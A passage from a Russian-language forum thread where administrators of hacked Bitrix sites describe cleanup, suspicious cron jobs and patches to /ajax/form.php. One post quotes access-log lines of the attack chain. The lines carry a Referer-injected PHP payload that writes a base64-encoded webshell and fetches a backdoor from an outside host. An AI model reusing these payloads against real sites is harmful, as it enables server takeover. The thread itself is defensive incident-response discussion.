Форум

Добрый день.
У знакомого перестал работать сайт, при детальном рассмотрении обнаружил, что файл index.php начинается со следующего кода:[CODE] "PROPERTY_CODE" => array(
0 => "SLIDE_IMG",
1 => "",
),
"CHECK_DATES" => "Y",
"DETAIL_URL" => "",
"PREVIEW_TRUNCATE_LEN" => "",
[/CODE]

То есть явно остутствует начало.
При этом дата изменения - год назад (файл никто не правил).
В резервных копиях хостера файл уже такой (проверил самую старую копию).
Как это произошло - оставляю за скобками (версии разные, вплоть до повреждений ФС у самого хостера). Вопрос - как починить?
Сам пишу на PHP, но при этом не являюсь битрикс программистом.
Скажите, насколько корректно будет просто взять index.php с какого-нибудь другого битриксового сайта и добавить (с минимальными правками, если потребуется) сверху этого обрезанного?
Каких-либо старых оффлайн-бэкапов у человека к сожалению нет.

Александр Будников, я в 10:34:49 описал где в моем случае была проблема.
Во время второго заражения закинули скрипты в папку техдомена (во время первого заражения проверял - в ней было пусто, ну и благополучно вычеркнул её из всевозможных проверок, в т.ч. чтения логов по техдомену) :)

Да, по любому! как раз только что подумал, что мне же в первый раз cron задачи переписали... Всё грохнули и злые добавили :(
Остается открытым вопрос, как грамотно провести аудит запускаемых агентов? Есть может какой-то перечень легитимных, чтобы свериться?

[I][SIZE=11pt]UPD: скачал дамп БД до взлома, сейчас сравню таблицы [/SIZE][/I][B][I][SIZE=11pt]b_agent[/SIZE][/I][/B]

В моём случае всё оказалось банально. Сразу же нашел, откуда ноги растут, отписаться забыл.
Во время первого заражения помимо основного сайта увидел, что есть еще два - old.* и test.*, внутри так же оба оказались заражены. Спросил у заказчика, говорит не нужны - снёс. Кроме них был еще один сайт - заглушка техдомена (что-то вроде vm31337.hostername.com), в ней было пусто, кроме голого html файла, мол "это такой-то сервер")) Ну и забил на него...
Во время повторного заражения злоумышленники уже и туда напихали!!) А я, помня по старой памяти, что там пусто, даже логи не грепал по этому техдомену! Смотрел содержимое и логи только одного оставшегося основного сайта... Снёс его, сейчас всё благополучно (хотя в логах попытки по прежнему фиксирую).

Меня только смущает один момент, прошу помощи. Я сам с битриксом постольку-поскольку, прочитал в этой теме про агенты, что есть такие. Решил глянуть, нет ли у меня в них ничего такого. И обнаружил, что агенты не выполняются с момента первого взлома (хотя активность у всех выставлена "Да"). Подскажите, что могло поломаться и как проверить агенты на легитимность (вдруг туда что-то тоже засунули, мало ли после включения какой backconnect запустится)?

нда, в cron задачах появилось:
[CODE]*/5 * * * * /usr/bin/perl /var/tmp/VMpPcHsZB >/dev/null 2>&1
*/6 * * * * perl /var/tmp/VMpPcHsZB >/dev/null 2>&1
[/CODE]самого файла /var/tmp/VMpPcHsZB не существует, в логах вхождение "VMpPcHsZB" не грепается :(
Что за напасть такая...

Посмотрел код /ajax/form.php до патча - там была строка
[CODE]<?elseif($form_id == 'TABLES_SIZE' && $url_sizes):?>[/CODE]Понятно, почему патчер её не смэтчил.

UPD: вижу в логах две попытки атаки - ~в 18:00 и 21:00, но файлы создать не удалось негодяям. Хороший признак)
На всякий набросал в cron скрипт - каждые 15 мин. мониторю создание .php файлов в папке сайта, если вдруг что подозрительное появится, в телегу алерт придёт.

в /form/index.php да, исправлено.
В /ajax/form.php строка чуть другая:
[CODE]<?elseif($form_id == 'TABLES_SIZE' && $url_sizes):?>
[/CODE]Заменить $url_sizes на false??

[I][SIZE=10pt]попробовал, сайт не сломался, буду мониторить...[/SIZE][/I]

[QUOTE] написал:
 проверьте у себя наличие файлов:
/ajax/error_log_logic.php
/ajax/js_error.php [/QUOTE]
Да, я видел ваш пост на предыдущей странице. Но данных файлов у меня на сервере нет.

В логах видел попытки обращения к ним со статусом 404.

Похоже появился третий способ записи в js_error.txt - через Referer ))

Сейчас буду экспериментировать сам с этими запросами

Да, js_error.txt отсутствовал.

Судя по всему это дерьмо действует через REFERER (бегло глянул - действительно в запрашиваемых скриптах имеется некая обработка Referer).
Вот вся цепочка атаки (время - запрос - referer):[CODE]QUERIES:
04:06:59 GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/js_error.php?data=%3C?php%20FilE_pUt_contenTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/79bb1c7d7b7d.php%22,BaSE64_DecODE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pP­T0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzM­lwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzX­DE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiI­jtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT­1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJce­DY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4N­mRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0M­VwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E
04:07:00 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
04:07:00 GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/js_error.php?data=%3C?php%20fiLE_pUt_contenTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/79bb1c7d7b7d.php%22,File_GEt_coNTeNTs(%22http://looklong.com/accesson20.html%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E
04:07:01 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
04:07:01 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
[/CODE]
Первая попытка закинуть через base64 вероятно оказалась неуспешной, далее  видим, что отсюда качается payload - [URL=http://looklong.com/accesson20.html]http://looklong.com/accesson20.html[/URL] (не знаю, можно ли такие ссылки оставлять???)
После этого следующий запрос уже к accesson.php, первый раз со статусом 301 (там при вызове определенные условия должны соблюдаться злоумышленником, чтобы не получить Forbidden), второй раз уже 200 и пошло-поехало, POST запросы к нему и создание всякого на сервере в папке /ajax.
Планирую сейчас повторить действия ну и дальше уже видимо допиливать безопасность скриптов /ajax/form.php и /form/index.php (безопасная десериализация присутствует - патч от аспро установлен).